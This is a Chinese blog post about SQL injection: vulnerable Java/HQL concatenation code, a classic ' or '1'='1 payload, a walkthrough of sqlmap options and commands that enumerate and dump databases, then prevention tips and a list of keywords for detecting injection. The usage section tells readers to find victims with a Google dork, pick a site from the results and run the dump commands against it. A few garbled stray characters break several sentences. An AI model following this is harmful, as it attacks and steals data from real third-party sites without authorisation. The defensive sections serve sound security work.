我們在開發(fā)過程中不僅要保證業(yè)務功能的完整性,更要保障安全性.
在剛從事工作時,我并沒有關注一些安全性相關的知識,工作一年之后很多業(yè)務技術都有所掌握,之后就參與到了測試組的工作中去.從那個時候我才知道,白盒,黑盒,單元測試,壓力測試,等等一些知識.起初就是覺得好玩,并沒有立志要成為一個白帽子,所以一路走來,小打小鬧.
背景
出現(xiàn)的安全問題就不說那么多了,作為開發(fā)人員應該都清楚,后果是非常嚴重的.OWASP TOP10中把SQL注入排在了第一位.
原理
比如下面的代碼
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
使用hql的代碼
Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");
這樣的代碼有問題么?
如果這樣傳遞參數(shù)呢?http://example.com/app/accountView?id=' or '1'='1
這就是簡單的注入實例
工具
原理知道了,通過拼接sql語句,導致 語句不會按照自己的預期執(zhí)行.我們通過使用sqlmap來完成sql注入的檢測.
sqlmap: 注入檢測
burpsuite: 請求代理
GHDB:谷歌黑客數(shù)據(jù)庫(通過谷歌檢索查詢漏洞)
webshell: 入侵成功后可以上傳腳本
中國菜刀:通過shell連接服務器,不過這個版本比較老,但是還挺好用
tips: 我們想要發(fā)現(xiàn)是否存在注入漏洞,所以對于滲透,上傳webshell等不過多關注.
sqlmap 工具的使用
安裝
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
概述
我們通過help命令對sqlmap有一些了解.
- Target: 目標
- -u : 指定目標url 比如
http://www.site.com/vuln.php?id=1
- -g: 利用谷歌搜索語法,比如
inurl:newsid=
- -u : 指定目標url 比如
- Request: 請求參數(shù)
- --date=DATA: Post提交參數(shù)
- --cookie=COOKIE
- --random-agent: 隨機代理請求頭User-Agent
- --proxy :使用代理連接
- Injection: 注入配置
- --dbms: 指定后臺數(shù)據(jù)庫
- Detection: 偵察
- --level=LEVEL: 偵察等級 1-5(默認1)
- --risk=RISK: 風險等級1-3(默認1)
- Enumeration:檢索
- -a: 查詢所有
- -b: DBMS banner
- --current-user: 查詢用戶當前等級
- --current-db: 查詢用戶當前數(shù)據(jù)庫
- --passwords: 查詢用戶密碼
- --tables: 查詢表
- --columns :查詢列
8.--schema: 查詢schema
9.--dump: 獲取數(shù)據(jù) - --dump-all:
- -D DB :檢索指定數(shù)據(jù)庫
- -T TBL: 檢索指定表
13.-C COL:檢索指定列
tips: 其他涉及到shell等注入的就不介紹了,我們主要的任務是如何檢測一個sql是否存在注入
使用方法
- 我們通過谷歌黑客數(shù)據(jù)庫查找目標
- 選擇Google Dork Description:
inurl:"sitegenius/topic.php"
- Google搜索后選擇一個目標
- 查詢當前數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –dbs // 列舉數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –current-db // 當前數(shù)據(jù)庫
./sqlmap.py -u “注入地址” -v 1 –users // 列數(shù)據(jù)庫用戶
./sqlmap.py -u “注入地址” -v 1 –current-user // 當前用戶
./sqlmap.py -u “注入地址” -v 1 –tables -D “數(shù)據(jù)庫” // 列舉數(shù)據(jù)庫的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “數(shù)據(jù)庫” // 獲取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “數(shù)據(jù)庫” // 獲取表中的數(shù)據(jù)碧查,包含列
注入預防
- java中查詢語句時候不要使用sql拼接,可以使用PreparedStatement
- hibernate中不要拼接hql,盡量使用占位符
- mybatis中盡量使用#{},避免使用${}的參數(shù)方式.
- 請求過濾器: 如果獲取到非法連接則拒絕.
sqlmap統(tǒng)計了注入的技術
1. 基于布爾的注入
2.基于錯誤的注入
3.內(nèi)聯(lián)注入
4.堆棧查詢注入
5.至于時間注入
6.union查詢注入
涉及到的關鍵字有:
boolean注入: (' ,<',">, AND ,%',(SELECT,--, OR ,)*,
union注入: ORDER,UNION,MAKE_SET,ELT
time注入:SLEEP,PG_SLEEP,DELAY,WAITFOR
inline注入:..)',
空格處理關鍵字:/**/,BETWEEN,/**_**/,'%09', '%0A', '%0C', '%0D', '%0B',--%0A,%S%E%L%E%C%T
大致通過這些就可以判斷户誓,
- 請求頭過濾: sqlmap 默認的請求
agent:sqlmap/1.1.3.2#dev (http://sqlmap.org)
此外乎折,對于一些常用的代理工具都可以進行一些拒絕處理,比如charles,burpsuite,fiddler 等等